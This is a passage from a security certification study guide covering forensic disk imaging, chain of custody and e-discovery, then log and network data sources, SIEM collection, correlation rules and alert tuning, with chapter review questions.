the SSD storage in a smartphone or media player. Disk acquisition will also capture
the OS installation if the boot volume is included.

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There are three device states for persistent storage acquisition:

• Live acquisition—this means copying the data while the host is still running.
This may capture more evidence or more data for analysis and reduce the
impact on overall services, but the data on the actual disks will have changed, so
this method may not produce legally acceptable evidence. It may also alert the
threat actor and allow time for them to perform anti-forensics.

• Static acquisition by shutting down the host—this runs the risk that the
malware will detect the shutdown process and perform anti-forensics to try to
remove traces of itself.

• Static acquisition by pulling the plug—this means disconnecting the power

at the wall socket (not the hardware power-off button). This is most likely to
preserve the storage devices in a forensically clean state, but there is the risk of
corrupting data.

Given sufficient time at the scene, an investigator might decide to perform both a
live and static acquisition. Whichever method is used, it is imperative to document
the steps taken and supply a timeline and video-recorded evidence of actions taken
to acquire the evidence.
There are many GUI imaging utilities, including those packaged with forensic suites.
If no specialist tool is available, on a Linux host, the dd command makes a copy of
an input file (if=) to an output file (of=). In the following, sda is the fixed drive:
dd if=/dev/sda of=/mnt/usbstick/backup.img
A more recent fork of dd is dcfldd, which provides additional features like multiple
output files and exact match verification.

Using dcfldd (a version of dd with additional forensics functionality created by the DoD) and
generating a hash of the source-disk data (sda).

Preservation
It is vital that the evidence collected at the crime scene conform to a valid timeline.
Digital information is susceptible to tampering, so access to the evidence must
be tightly controlled. Video recording the whole process of evidence acquisition
establishes the provenance of the evidence as deriving directly from the crime
scene.
To obtain a forensically sound image from nonvolatile storage, the capture tool
must not alter data or metadata (properties) on the source disk or file system. Data
acquisition would normally proceed by attaching the target device to a forensics
workstation or field capture device equipped with a write blocker. A write blocker
prevents any data on the disk or volume from being changed by filtering write
commands at the driver and OS level.

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Evidence Integrity and Non-Repudiation

Once the target disk has been safely attached to the forensics workstation, data
acquisition proceeds as follows:
1. A cryptographic hash of the disk media is made, using either the MD5 or SHA
hashing function.

2. A bit-by-bit copy of the media is made using an imaging utility.

3. A second hash is then made of the image, which should match the original
hash of the media.

4. A copy is made of the reference image, validated again by the checksum.

Analysis is performed on the copy.

This proof of integrity ensures non-repudiation. If the provenance of the evidence

is certain, the threat actor identified by analysis of the evidence cannot deny their
actions. The hashes prove that no modification has been made to the image.

Chain of Custody
The host devices and media taken from the crime scene should be labeled, bagged,
and sealed, using tamper-evident bags. It is also appropriate to ensure that the
bags have antistatic shielding to reduce the possibility that data will be damaged
or corrupted on the electronic media by electrostatic discharge (ESD). Each piece
of evidence should be documented by a chain of custody form. Chain of custody
documentation records where, when, and who collected the evidence, who
subsequently handled it, and where it was stored. This establishes the integrity
and proper handling of evidence. When security breaches go to trial, the chain of
custody protects an organization against accusations that evidence has either been
tampered with or is different than it was when it was collected. Every person in the
chain who handles evidence must log the methods and tools they used.
The evidence should be stored in a secure facility; this not only means access
control, but also environmental control, so that the electronic systems are not
damaged by condensation, ESD, fire, and other hazards.

Reporting
Digital forensics reporting summarizes the significant contents of the digital data
and the conclusions from the investigator’s analysis. It is important to note that
strong ethical principles must guide forensics analysis:
• Analysis must be performed without bias. Conclusions and opinions should be
formed only from the direct evidence under analysis.

• Analysis methods must be repeatable by third parties with access to the same
evidence.

• Ideally, the evidence must not be changed or manipulated. If a device used as

evidence must be manipulated to facilitate analysis (disabling the lock feature
of a mobile phone or preventing a remote wipe, for example), the reasons for
doing so must be sound and the process of doing so must be recorded.

Defense counsel may try to use any deviation of good ethical and professional
behavior to have the forensics investigator’s findings dismissed.

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A forensic examination of a device that contains electronically stored information

(ESI) entails a search of the whole drive, including both allocated and unallocated
sectors, for instance. E-discovery is a means of filtering the relevant evidence
produced from all the data gathered by a forensic examination and storing it in
a database in a format such that it can be used as evidence in a trial. E-discovery
software tools have been produced to assist this process. Some of the functions of
e-discovery suites are as follows:
• Identify and de-duplicate files and metadata—many files on a computer
system are “standard” installed files or copies of the same file. E-discovery filters
these types of files, reducing the volume of data that must be analyzed.

• Search—allow investigators to locate files of interest to the case. As well as

keyword search, software might support semantic search. Semantic search
matches keywords if they correspond to a particular context.

• Tags—apply standardized keywords or labels to files and metadata to help

organize the evidence. Tags might be used to indicate relevancy to the case or
part of the case or to show confidentiality, for instance.

• Security—at all points, evidence must be shown to have been stored,

transmitted, and analyzed without tampering.

• Disclosure—an important part of trial procedure is that the same evidence

be made available to both plaintiff and defendant. E-discovery can fulfill this
requirement. Recent court cases have required parties to a court case to provide
searchable ESI rather than paper records.

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Review Activity:
Digital Forensics
7

Answer the following questions:

1. What is the significance of the fact that digital evidence is latent?

2. You’ve fulfilled your role in the forensic process, and now you plan on
handing the evidence over to an analysis team. What important process
should you observe during this transition, and why?

3. True or false? To ensure evidence integrity, you must make a hash of the
media before making an image.

4. You must recover the contents of the ARP cache as vital evidence of an
on-path attack. Should you shut down the PC and image the hard drive
to preserve it?

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Topic 12C
Data Sources
5

EXAM OBJECTIVES COVERED

4.9 Given a scenario, use data sources to support an investigation.

Networks, hosts, and applications produce a very large amount of data via different
mechanisms. Identifying all these data sources and then scanning them for threat
indicators is a significant challenge for all types of organizations. As a security
professional, you must be able to identify and utilize appropriate data sources to
perform incident response as efficiently as possible.

Data Sources, Dashboards, and Reports

In the context of an incident response case or digital forensics investigation, a data
source is something that can be subjected to analysis to discover indicators. These
investigations use diverse data sources:
• System memory and media device file system data and metadata.

• Log files generated by network appliances (switches, routers, and firewalls/

UTMs).

• Network traffic captured by sensors and/or any alertable or loggable conditions

raised by intrusion detection systems.

• Log files and alerts generated by network-based vulnerability scanners.

• Log files generated by the OS components of client and server host computers.

• Log files generated by applications and services running on hosts.

• Log files and alerts generated by endpoint security software installed on hosts.
This can include host-based intrusion detection, vulnerability scanning, antivirus,
and firewall security software.

The sheer diversity and size of data sources is a significant problem for
investigations. Organizations use security information and event management
(SIEM) tools to aggregate and correlate multiple data sources. This can be used as a
single source for agent dashboards and automated reports.

Issues posed by dealing with large amounts of data are often described as the "V's."
They include volume, velocity, variety, veracity, and value.

Dashboards
An event dashboard provides a console to work from for day-to-day incident
response. It provides a summary of information drawn from the underlying
data sources to support some work task. Separate dashboards can be created

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to suit many different purposes. An incident handler’s dashboard will contain

uncategorized events that have been assigned to their account, plus visualizations
(graphs and tables) showing key status metrics. A manager’s dashboard would
show overall status indicators, such as number of unclassified events for all event
handlers.

Default dashboardconsole in Security Onion, providing an overview of volumes and types of

detection events. (Screenshot courtesy of Security Onion securityonion.net.)

Automated Reports
A SIEM can be used for two types of reporting:
• Alerts and alarms detect the presence of threat indicators in the data and can be
used to start incident cases. Day-to-day management of alert reporting forms a
large part of an analyst’s workload.

• Status reports communicate data about the level of threat or number of

incidents being raised and the effectiveness of security controls and response
procedures. This type of reporting can be used to inform management decisions.
It might also be required for compliance reporting.

A SIEM will ship with a number of preconfigured dashboards and reports, but it will also
make tools available for creating custom reports. It is critical to tailor the information
presented in a dashboard or report to meet the needs and goals of its intended
audience. If the report simply contains an overwhelming amount of information or
irrelevant information, it will not be possible to quickly identify remediation actions.

Log Data
Log data is a critical resource for investigating security incidents. As well as the log
format, you must also consider the range of sources for log files, and know how to
determine what type of log file will best support any given investigation scenario.

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Event data is generated by processes running on network appliances and general

computing hosts. The process typically writes its event data to a specific log file or
database. Each event is comprised of message data and metadata:
• Event message data is the specific notification or alert raised by the process,
such as “Login failure” or “Firewall rule dropped traffic.”

• Event metadata is the source and time of the event. The source might include a
host or network address, a process name, and categorization/priority fields.

Accurate logging requires each host to be synchronized to the same date and time value
and format. Ideally, each host should also be configured to use the same time zone, or
to use a "neutral" zone, such as universal coordinated time (UTC).

Windows hosts and applications can use Event Viewer format logging. Each event
has a header reporting the source, level, user, timestamp, category, keywords, and
host name.
Syslog provides an open format, protocol, and server software for logging event
messages. It is used by a very wide range of host types. For example, syslog
messages can be generated by switches, routers, and firewalls, as well as UNIX or
Linux servers and workstations.
A syslog message comprises a PRI code, a header, and a message part:
• The PRI code is calculated from the facility and a severity level.

• The header contains a timestamp, host name, app name, process ID, and
message ID fields.

• The message part contains a tag showing the source process plus content. The
format of the content is application dependent. It might use space- or comma-
delimited fields or name/value pairs.

Log data can be kept and analyzed on each host individually, but most organizations
require better visibility into data sources and host monitoring. SIEM software can
offer a “single pane of glass” view of all network hosts and appliances by collecting
and aggregating logs from multiple sources. Logs can be collected via an agent
running on each host, or by using syslog (or similar) to forward event data.

Host Operating System Logs

An operating system (OS) keeps a variety of logs to record events as users and
software interact with the system. Different log files represent different aspects of
system functionality. These files are intended to hold events of the same general
nature. Some files hold events from different process sources; others are utilized by
a single source only.
Operating system-specific security logs record audit events. Audit events are
usually classed either as success/accept or fail/deny.
• Authentication events record when users try to sign in and out. An event is
also likely to be generated when a user tries to obtain special or administrative
privileges.

• File system events record whether use of permissions to read or modify a file
was allowed or denied. As this would generate a huge amount of data if enabled
for all file system objects by default, file system auditing usually needs to be
explicitly configured.

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Windows Logs
The three main Windows event log files are the following:
• Application—events generated by application processes, such as when there is a
crash, or when an app is installed or removed.

• Security—audit events, such as a failed login or access to a file being denied.

• System—events generated by the operating system’s kernel processes and

services, such as when a service or driver cannot start, when a service’s startup
type is changed, or when the computer shuts down.

Linux Logs
Linux logging can be implemented differently for each distribution. Some
distibutions use syslog to direct messages relating to a particular subsystem to
a flat text file. Other distributions use Journald as a unified logging system with
a binary, rather than plaintext, file format. Journald messages are read using the
journalctl command, but it can be configured to export some messages to
text files via syslog.
Some of the principal log files are as follows:
• /var/log/messages or /var/log/syslog stores all events generated
by the system. Some of these are copied to individual log files.

• /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RedHat/

CentOS/Fedora) records login attempts, use of sudo privileges, and other
authentication and authorization data. Additionally, the faillog specifically
tracks failed login events. Some distros use wtmp, utmp, and btmp files for
use with commands such as w, who, and last to identify sessions and failed
logins.

• The package manager log (apt, yum, or dnf, depending on the distro) stores
information about what software has been installed and updated.

Linux authentication log showing SSH remote access is enabled, failed authentication attempts for
root user, and successful login for lamp user.

macOS Logs
macOS uses a unified logging system, which can be accessed via the graphical
Console app, or the log command. The log command can be used with filters to
review security-related events, such as login (com.apple.login), app installs (com.
apple.install), and system policy violations (com.apple.syspolicy.exec).

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Application and Endpoint Logs

As well as events recorded by the operating system, hosts are also likely to generate
application logs, including logs from host-based security software.

Application Logs
An application log file is simply one that is managed by an application rather than
the OS. The application may use Event Viewer or syslog to write event data using
a standard format, or it might write log files to its own application directories in
whatever format the developer has selected.

In Windows Event Viewer, there is a specific application log, which can be written to by
any authenticated account. There are also separate custom application and service logs,
which are managed by specific processes. The app developer chooses which log to use,
or whether to implement a logging system without using Event Viewer. Check the product
documentation to find out where events for a particular software app are logged.

Endpoint Logs
An endpoint log is likely to refer to events monitored by security software running
on the host, rather than by the OS itself. This can include host-based firewalls and
intrusion detection, vulnerability scanners, and antivirus/antimalware protection
suites. Suites that integrate these functions into a single product are often referred
to as an endpoint protection platform (EPP), enhanced detection and response
(EDR), or extended detection and response (XDR). These security tools can be
directly integrated with a SIEM using agent-based software.
Summarizing events from endpoint protection logs can show overall threat levels,
such as amount of malware detected, number of host intrusion detection events,
and numbers of hosts with missing patches. Close analysis of detection events can
assist with attributing intrusion events to a specific actor, and developing threat
intelligence of tactics, techniques, and procedures.

Windows Defender logging detection and quarantine of malware to Event Viewer.

(Screenshot used with permission from Microsoft.)

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Vulnerability Scans
While there is usually a summary report, a vulnerability scanner can be configured
to log each vulnerability detected to a SIEM. Vulnerabilities can include missing
patches and noncompliance with a baseline security configuration. The SIEM will be
able to retrieve a list of these logs for each host. Depending on the date of the last
scan, it may be difficult to identify from the log data which have been remediated,
but in general terms this will provide useful information about whether a host is
properly configured.

Network Data Sources

Network appliances generate their own system and security/audit logs, but there
are other sources of network security data that can be useful for an investigation.

Network Logs
Network logs are generated by appliances such as routers, firewalls, switches, and
access points. Log files will record the operation and status of the appliance itself—
the system log for the appliance—plus traffic and access logs recording network
behavior. For example, network applicance access logs might reveal the following
types of threat:
• A switch log might reveal an endpoint trying to use multiple MAC addresses to
perpetrate an on-path attack.

• A firewall log might identify scanning activity on a blocked port.

• An access point log could record disassocation events that indicate a threat actor
trying to attack the wireless network.

Excerpts from a typical SOHO router log as it restarts. The events show the router re-establishing
an Internet/WAN connection, updating the system date and time using Network Time Protocol
(NTP), running a firmware update check, and connecting a wireless client. The client is not initially
authenticated, probably as the user was entering the wrong passphrase.

Firewall Logs
Any firewall rule can be configured to generate an event whenever it is triggered.
As with most types of security data, this can quickly generate on overwhelming
number of events. It is also possible to configure log-only rules. Typically, firewall
logging will be used when testing a new rule or only enabled for high-impact rules.
A firewall audit event will record a date/timestamp, the interface on which the
rule was triggered, whether the rule matched incoming/ingress or outgoing/
egress traffic, and whether the packet was accepted or dropped. The event data
will also record packet information, such as source and destination address and
port numbers. This information can support investigation of host compromise.

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For example, say that a host-based IDS reports that a malicious process on a local
server is attempting to connect to a particular port on an Internet host. The firewall
log could confirm whether the connection was allowed or denied, and identify
which rule potentially needs adjusting.

Firewall log showing what pass and block rules have been triggered, with source and destination
ports and IP addresses

As the log action is configured per-rule, it is possible that a single packet will trigger
multiple events.

IPS/IDS Logs
An IPS/IDS log is an event when a traffic pattern is matched to a rule. As this can
generate a very high volume of events, it might be appropriate to only log high
sensitivity/impact rules. As with firewall logging, a single packet might trigger
multiple rules.
An intrusion prevention system could additionally be configured to log shuns,
resets, and redirects in the same way as a firewall.
As with endpoint protection logs, summary event data from IDS/IPS can be
visualized in dashboard graphs to represent overall threat levels. Close analysis of
detection events can assist with attributing intrusion events to a specific actor, and
developing threat intelligence of TTPs.

Viewing the raw log message generated by a Suricata IDS alert in the Security Onion SIEM.

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Packet Captures
Network traffic can provide valuable insights into potential breaches. Network
traffic is typically analyzed in detail at the level of individual frames or using
summary statistics of traffic flows and protocol usage.
A SIEM will store selected information from sensors installed to different points
on the network. Information captured from network packets can be aggregated
and summarized to show overall protocol usage and endpoint activity. On a
typical network, sensors are not configured to record all network traffic, as this
would generate a very considerable amount of data. More typically, only packets
that triggered a given firewall or IDS rule are recorded. SIEM software will usually
provide the ability to pivot from an event or alert summary to opening the
underlying packets in an analyzer.

On the other hand, given sufficient resources, a retrospective network analysis (RNA)
solution provides the means to record the totality of network events at either a packet
header or payload level.

Packet analysis refers to deep-down, frame-by-frame scrutiny of captured traffic

using a tool such as Wireshark. The analyzer decodes the packet to show the
header fields at data link/MAC, network/IP, and transport (TCP/UDP) layers. At the
application layer, it shows both header data and payload contents.
Packet analysis can identify whether packets passing over a standard port have
been manipulated in some nonstandard way, to work as a mechanism for a botnet
server, for instance. It allows inspection of protocol payloads to try to identify data
exfiltration attempts or attempts to contact suspicious domains and URLs. Detailed
analysis of the packet contents can help to reveal the tools used in an attack. It is
also possible to extract binary files such as potential malware for analysis.

Using the Wireshark packet analyzer to identify malicious executables being transferred
over the Windows file-sharing protocol. (Screenshot Wireshark wireshark.org.)

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Metadata
Metadata is the properties of data as it is created by an application, stored on
media, or transmitted over a network. Each logged event has metadata, but a
number of other metadata sources are likely to be useful when investigating
incidents. Metadata can establish timeline questions, such as when and where a
breach occurred, as well as containing other types of evidence.

File
File metadata is stored as attributes. The file system tracks when a file was created,
accessed, and modified. A file might be assigned a security attribute, such as
marking it as read-only or as a hidden or system file. The ACL attached to a file
showing its permissions represents another type of attribute. Finally, the file may
have extended attributes recording an author, copyright information, or tags for
indexing/searching.

As metadata is uploaded to social media sites, they can reveal more information than
the uploader intended. Metadata can include current location and time which is added
to media such as photos and videos.

Web
When a client requests a resource from a web server, the server returns the
resource plus headers setting or describing its properties. Also, the client can
include headers in its request. One key use of headers is to transmit authorization
information, in the form of cookies. Headers describing the type of data returned
(text or binary, for instance) can also be of interest. The contents of headers can
be inspected using the standard tools built into web browsers. Header information
may also be logged by a web server.

Email
An email’s Internet header contains address information for the recipient and
sender, plus details of the servers handling transmission of the message between
them. When an email is created, the mail user agent (MUA) creates an initial header
and forwards the message to a mail delivery agent (MDA). The MDA should perform
checks that the sender is authorized to issue messages from the domain. Assuming
the email isn’t being delivered locally at the same domain, the MDA adds or amends
its own header and then transmits the message to a message transfer agent (MTA).
The MTA routes the message to the recipient, with the message passing via one
or more additional MTAs, such as SMTP servers operated by ISPs or mail security
gateways. Each MTA adds information to the header.
Headers aren’t exposed to the user by most email applications. You can view and
copy headers from a mail client via a message properties/options/source command.
MTAs can add a lot of information in each received header, such as the results of
spam checking. If you use a plaintext editor to view the header, it can be difficult
to identify where each part begins and ends. Fortunately, there are plenty of tools
available to parse headers and display them in a more structured format. One
example is the Message Analyzer tool, available as part of the Microsoft Remote
Connectivity Analyzer (testconnectivity.microsoft.com/tests/o365). This will lay out
the hops that the message took more clearly and break out the headers added by
each MTA.

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Analyzing headers in a phishing message: the sender is using typosquatting to hope

the recipient confuses structureality.com with the genuine domain structureality.com.
(Screenshot courtesy of Mozilla.)

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Review Activity:
Data Sources
6

Answer the following questions:

1. Your manager has asked you to prepare a summary of the usefulness of

different kinds of log data. You have sections for firewall, application,
OS-specific security, IPS/IDS, and network logs plus metadata. Following
the CompTIA Security+ exam objectives, which additional log data type
should you cover?

2. You must assess a security monitoring suite for its dashboard

functionality. What is the general use of dashboards?

3. True or false? It is not possible to set custom file system audit settings
when using security log data.

4. What type of data source supports frame-by-frame analysis of an event

that generated an IDS alert?

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Topic 12D
Alerting and Monitoring Tools
5

EXAM OBJECTIVES COVERED

4.4 Explain security alerting and monitoring concepts and tools.

There are many types of security controls that can be deployed to protect networks,
hosts, and data. One thing that all these controls have in common is that they
generate log data and alerts. Collecting and reviewing this output is one of the
principal cybersecurity challenges. As a security professional, you must be able to
explain the configuration and use of systems to manage data sources and provision
an effective monitoring and alerting system.

Security Information and Event Management

Software designed to assist with managing security data inputs and provide
reporting and alerting is often described as security information and event
management (SIEM). The core function of a SIEM tool is to collect and correlate
data from network sensors and appliance/host/application logs. In addition to logs
from Windows and Linux-based hosts, this could include switches, routers, firewalls,
IDS sensors, packet sniffers, vulnerability scanners, malware scanners, and data
loss prevention (DLP) systems.

Wazuh SIEM dashboard—Configurable dashboards provide the high-level status view of network
security metrics. (Screenshot used with permission from Wazuh Inc.)

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Agent-Based and Agentless Collection

Collection is the means by which the SIEM ingests security event data from various
sources. There are three main types of security data collection:
• Agent-based—this approach means installing an agent service on each host. As
events occur on the host, logging data is filtered, aggregated, and normalized at
the host, then sent to the SIEM server for analysis and storage. Collection from
Windows/Linux/macOS computers will tend to use agent-based collection. The
agent must run as a process, and could use from 50–500 MB of RAM, depending
on the amount of activity and processing it does.

• Listener/collector—rather than installing an agent, hosts can be configured to

push log changes to the SIEM server. A process runs on the management server
to parse and normalize each log/monitoring source. This method is often used to
collect logs from switches, routers, and firewalls, as these are unlikely to support
agents. Some variant of the Syslog protocol is typically used to forward logs from
the appliance to the SIEM.

• Sensor—as well as log data, the SIEM might collect packet captures and traffic
flow data from sniffers. A sniffer can record network data using either the mirror
port functionality of a switch or using some type of tap on the network media.

Agent configuration file for event sources to report to the Wazuh SIEM.

Log Aggregation
As distinct from collection, log aggregation refers to normalizing data from
different sources so that it is consistent and searchable. SIEM software features
connectors or plug-ins to interpret (or parse) data from distinct types of systems
and to account for differences between vendor implementations. Each agent,
collector, or sensor data source will require its own parser to identify attributes and
content that can be mapped to standard fields in the SIEM’s reporting and analysis
tools. Another important function is to normalize date/time zone differences to a
single timeline.

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Alerting and Monitoring Activities

When data has been collected and aggregated, the SIEM can be used to implement
alerting, reporting, and archiving activities.

Note that these activities can be performed manually or automated using discrete tools
for each security appliance. The advantage of a SIEM is to consolidate the activities to
a single management interface. This consolidated functionality referred to as a "single
pane of glass" refers to the enhanced visibility into a complex environment that such
software offers.

Alerting
A SIEM can then run correlation rules on indicators extracted from the data sources
to detect events that should be investigated as potential incidents. An analyst can
also filter or query the data based on the type of incident that has been reported.
Correlation means interpreting the relationship between individual data points to
diagnose incidents of significance to the security team. A SIEM correlation rule is
a statement that matches certain conditions. These rules use logical expressions,
such as AND and OR, and operators, such as == (matches), < (less than), >
(greater than), and in (contains). For example, a single-user login failure is not
a condition that should raise an alert. Multiple user login failures for the same
account, taking place within the space of one hour, is more likely to require
investigation and is a candidate for detection by a correlation rule.
Error.LoginFailure > 3 AND LoginFailure.User AND
Duration < 1 hour
As well as correlation between indicators observed in the collected data, a SIEM is
likely to be configured with a threat intelligence feed. This means that data points
observed in the collected network data can be associated with known threat actor
indicators, such as IP addresses and domain names.
Each alert will be dealt with by the incident response processes of analysis,
containment, eradication, and recovery. When used in conjunction with a SIEM, two
particular steps in alert response and remediation deserve particular attention:
• Validation during the analysis process is how the analyst decides whether the
alert is a true positive and needs to be treated as an incident. A false positive is
where an alert is generated, but there is no actual threat activity.

• Quarantine is the step of isolating the source of indicators, such as a network

address, host computer, or file.

Alert response and remediation steps will often be guided by a playbook that assists
the analyst with applying all incident response processes for a given scenario. One
of the advantages of SIEM and advanced security orchestration, authorization
and reporting (SOAR) solutions is to fully or partitally automate validation and
remediation. For example, a quarantine action could be available as a mouse-click
action via an integration with a firewall or endpoint protection product. Validation
is made easier by being able to correlate event data to known threat data and pivot
between sources, such as inspecting the packets that triggered a particular IDS alert.

Reporting
Reporting is a managerial control that provides insight into the status of the security
system. A SIEM can assist with reporting activity by exporting summary statistics
and graphs. Report formats and contents are usually tailored to meet the needs of
different audiences:

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• Executive reports provide a high-level summary for decision-makers. This guides

planning and investment activity.

• Manager reports provide cybersecurity and department leaders with detailed

information. This guides day-to-day operational decision-making.

• Compliance reports provide whatever information is required by a regulator.

Determining which metrics are most useful in terms of reporting is always very
challenging. The following types illustrate some common use cases for reporting:
• Authentication data, such as failed login attempts, and critical file audit data.

• Hosts with missing patches and/or configuration vulnerabilities.

• Privileged user account anomalies, such as out-of-hours use or excessive

requests for elevated permissions.

• Incident case management statistics, such as overall volume, open cases, time to
resolve, and so on.

• Trend reporting to show changes to key metrics over time.

Archiving
A SIEM can enact a retention policy so that historical log and network traffic data is
kept for a defined period. This allows for retrospective incident and threat hunting,
and can be a valuable source of forensic evidence. It can also meet compliance
requirements to hold archives of security information. SIEM performance will
degrade if an excessive amount of data is kept available for live analysis. A log
rotation scheme can be configured to move outdated information to archive storage.

Alert Tuning
Correlation rules are likely to assign a criticality level to each match. Examples
include the following:
• Log only—an event is produced and added to the SIEM’s database, but it is
automatically classified.

• Alert—the event is listed on a dashboard or incident handling system for an

agent to assess. The agent analyzes the event data and either dismisses it to the
log or validates it and starts an incident case.

• Alarm—the event is automatically classified as critical, and a priority alarm is

raised. This might mean emailing an incident handler or sending a text message.

Alert tuning is necessary to reduce the incidence of false positives. False positive
alerts and alarms waste analysts’ time and reduce productivity. Alert fatigue refers
to the sort of situation where analysts are so consumed with dismissing numerous
low-priority alerts that they miss a single high-impact alert that could have
prevented a data breach. Analysts can become more preoccupied with looking for
a quick reason to dismiss an alert than with properly evaluating the alert. Reducing
false positives is difficult, however, firstly because there isn’t a simple dial to turn for
overall sensitivity, and secondly because reducing the number of rules that produce
alerts increases the risk of false negatives.
A false negative is where the system fails to generate an alert about malicious
indicators that are present in the data source. False negatives are a serious
weakness in the security system. One of the purposes of threat hunting activity is
to identify whether the monitoring system is subject to false negatives.

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There is also a concept of true negatives. This is a measure of events that the system
has properly allowed. Metrics for false and true negatives can be used to assess the
performance of the alerting system.

Some of the techniques used to manage alert tuning include the following:
• Refining detection rules and muting alert levels—If a certain rule is generating
multiple dashboard notifications, the parameters of the rule can be adjusted to
reduce this, perhaps by adding more correlation factors. Alternatively, the alert
can be muted to log-only status, or configured so that it only produces a single
notification for every 10 or 100 events.

• Redirecting sudden alert “floods” to a dedicated group—Changes in the network

can cause a rule to start producing far more alerts than it should. Once it’s
confirmed that this is a false positive, rather than “spamming” each analysts’
dashboard, it can be assigned to a dedicated agent or team to remediate.

• Redirecting infrastructure-related alerts to a dedicated group—

Misconfigurations, such as deviance from a baseline, can cause continually high
alert volumes. While these are important to fix, that is not the job of the incident
response team, and is better managed by an infrastructure team.

• Continuous monitoring of alert volume and analyst feedback—Managers should

keep oversight of the system and be aware of risks from alert fatigue. The
experience of individual analysts can be utilized to reduce alert sensitivity or
change the parameters of a given rule, or to automate processing of the rule
using a SOAR solution.

• Deploying machine learning (ML) analysis—ML is able to rapidly analyze the

sort of data sets produced by SIEM. It can be used to monitor how analysts are
responding to alerts, and attempt to automatically tune the ruleset in a way that
reduces false negatives without impacting true positives.

Monitoring Infrastructure
Managerial reports can be used for day-to-day monitoring of computer resources
and network infrastructure. Not all issues can be identified from alerts and
alarms. Running a custom report allows a manager to verify results of logging and
monitoring activity to ensure that the network remains in a secure state.

Network Monitors
As distinct from network traffic monitoring, a network monitor collects data
about network infrastructure appliances, such as switches, access points, routers,
firewalls. This is used to monitor load status for CPU/memory, state tables, disk
capacity, fan speeds/temperature, network link utilization/error statistics, and so
on. Another important function is a heartbeat message to indicate availability.
This data might be collected using the Simple Network Management Protocol
(SNMP). An SNMP trap informs the management system of a notable event, such
as port failure, chassis overheating, power failure, or excessive CPU utilization. The
threshold for triggering traps can be set for each value. This provides a mechansim
for alerts and alarms for hardware issues.
As well as supporting availability, network monitoring might reveal unusual
conditions that could point to some kind of attack.

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NetFlow
A flow collector is a means of recording metadata and statistics about network
traffic rather than recording each frame. Network traffic and flow data may come
from a wide variety of sources (or probes), such as switches, routers, firewalls, and
web proxies. Flow analysis tools can provide features such as the following:
• Highlighting of trends and patterns in traffic generated by particular applications,
hosts, and ports.

• Alerting based on detection of anomalies, flow analysis patterns, or custom

triggers.

• Visualization tools that show a map of network connections and make

interpretation of patterns of traffic and flow data easier.

• Identification of traffic patterns revealing rogue user behavior, malware in

transit, tunneling, or applications exceeding their allocated bandwidth.

• Identification of attempts by malware to contact a handler or command &

control (C&C) channel.

NetFlow is a Cisco-developed means of reporting network flow information to a

structured database. NetFlow has been redeveloped as the IP Flow Information
Export (IPFIX) IETF standard (tools.ietf.org/html/rfc7011). A particular traffic
flow can be defined by packets sharing the same characteristics, referred to as
keys. A selection of keys is called a flow label, while traffic matching a flow label
is called a flow record. A flow label is defined by packets that share the same key
characteristics, such as IP source and destination addresses and protocol type.
These five bits of information are referred to as a 5-tuple. A 7-tuple adds the
input interface and IP type of service data. Each exporter caches data for newly
seen flows and sets a timer to determine flow expiration. When a flow expires or
becomes inactive, the exporter transmits the data to a collector.

ntopng community edition being used to monitor NetFlow traffic data.

(Screenshot used courtesy of ntop.)

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Monitoring Systems and Applications

Dashboards and reports also assist with real-time monitoring of host system and
application/service status.

System Monitors and Logs

A system monitor implements the same functionality as a network monitor for
a computer host. Like switches and routers, server hosts can report health status
using SNMP traps.
Logs are one of the most valuable sources of security information. A system log can
be used to diagnose availability issues. A security log can record both authorized
and unauthorized uses of a resource or privilege. Logs function both as an audit
trail of actions and (if monitored regularly) provide a warning of intrusion attempts.
Log review is a critical part of security assurance. Only referring to the logs following
a major incident is missing the opportunity to identify threats and vulnerabilities
early and to respond proactively.

Logs typically associate an action with a particular user. This is one of the reasons why it
is critical that users not share login details. If a user account is compromised, there is no
means of tying events in the log to the actual attacker.

Application and Cloud Monitors

SNMP offers fairly limited functionality. There are numerous proprietary monitoring
solutions for infrastructure, application, database, and cloud environments. Some
are designed for on-premises and some for cloud, while some support hybrid
monitoring of both types of environment. An application monitor will include a
basic heartbeat test to verify that it is responding. Other factors to monitor include
number of sessions and requests, bandwidth consumption, CPU and memory
utilization, and error or security alert conditions. Cloud monitors will assess
different facets of cloud services, such as network bandwidth, virtual machine
status, and application health.

Vulnerability Scanners
A vulnerability scanner will report the total number of unmitigated vulnerabilities
for each host. Consolidating these results can show the status of hosts across the
whole network and highlight issues with a particular patch or configuration issue.

Antivirus
Most hosts should be running some type of antivirus scan (A-V) software. While
the A-V moniker remains popular, these suites are better conceived of as endpoint
protection platforms (EPPs) or next-gen A-V. These detect malware by signature
regardless of type, though detection rates can vary quite widely from product to
product. Many suites also integrate with user and entity behavior analytics (UEBA)
and use AI-backed analysis to detect threat actor behavior that has bypassed
malware signature matching.
Antivirus will usually be configured to block a detected threat automatically. The
software can be configured to generate a dashboard alert or log via integration with
a SIEM.

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Data Loss Prevention

Data loss prevention (DLP) mediates the copying of tagged data to restrict it to
authorized media and services. As with antivirus scanning, monitoring statistics
for DLP policy violations can show whether there are issues, especially where the
results show trends over time.

Benchmarks
One of the functions of a vulnerability scan is to assess the configuration of security
controls and application settings and permissions compared to established
benchmarks.
The scanner might try to identify whether there is a lack of controls that might be
considered necessary or whether there is any misconfiguration of the system that
would make the controls less effective or ineffective, such as antivirus software
not being updated, or management passwords left configured to the default. This
sort of testing requires specific information about best practices in configuring
the particular application or security control. These best practices are provided by
listing the controls and appropriate configuration settings in a template.
Security Content Automation Protocol (SCAP) allows compatible scanners to
determine whether a computer meets a configuration baseline. SCAP uses several
components to accomplish this function, but some of the most important are the
following:
• Open Vulnerability and Assessment Language (OVAL)—an XML schema
for describing system security state and querying vulnerability reports and
information.

• Extensible Configuration Checklist Description Format (XCCDF)—an XML

schema for developing and auditing best practice configuration checklists and
rules. Previously, best practice guides might have been written in prose for
systems administrators to apply manually. XCCDF provides a machine-readable
format that can be applied and validated using compatible software.

Comparing a local network security policy to a template. The minimum password

length set in the local policy is much less than is recommended in the template.
(Screenshot used with permission from Microsoft.)

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Some scanners measure systems and configuration settings against best practice
frameworks. This is referred to as a compliance scan. This might be necessary
for regulatory compliance, or you might voluntarily want to conform to externally
agreed upon standards of best practice.

Monitoring template aligned to NIST 800-53 framework requirements.

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Review Activity:
Alerting and Monitoring Tools
6

Answer the following questions:

1. What is the purpose of SIEM?

2. What is the difference between a sensor and a collector, in the context

of SIEM?

3. Your company has implemented a SIEM but found that there is no parser
for logs generated by the network’s UTM gateway. Why is a parser
necessary?

4. Your manager has asked you to prepare a summary of the activities that
support alerting and monitoring. You have sections for log aggregation,
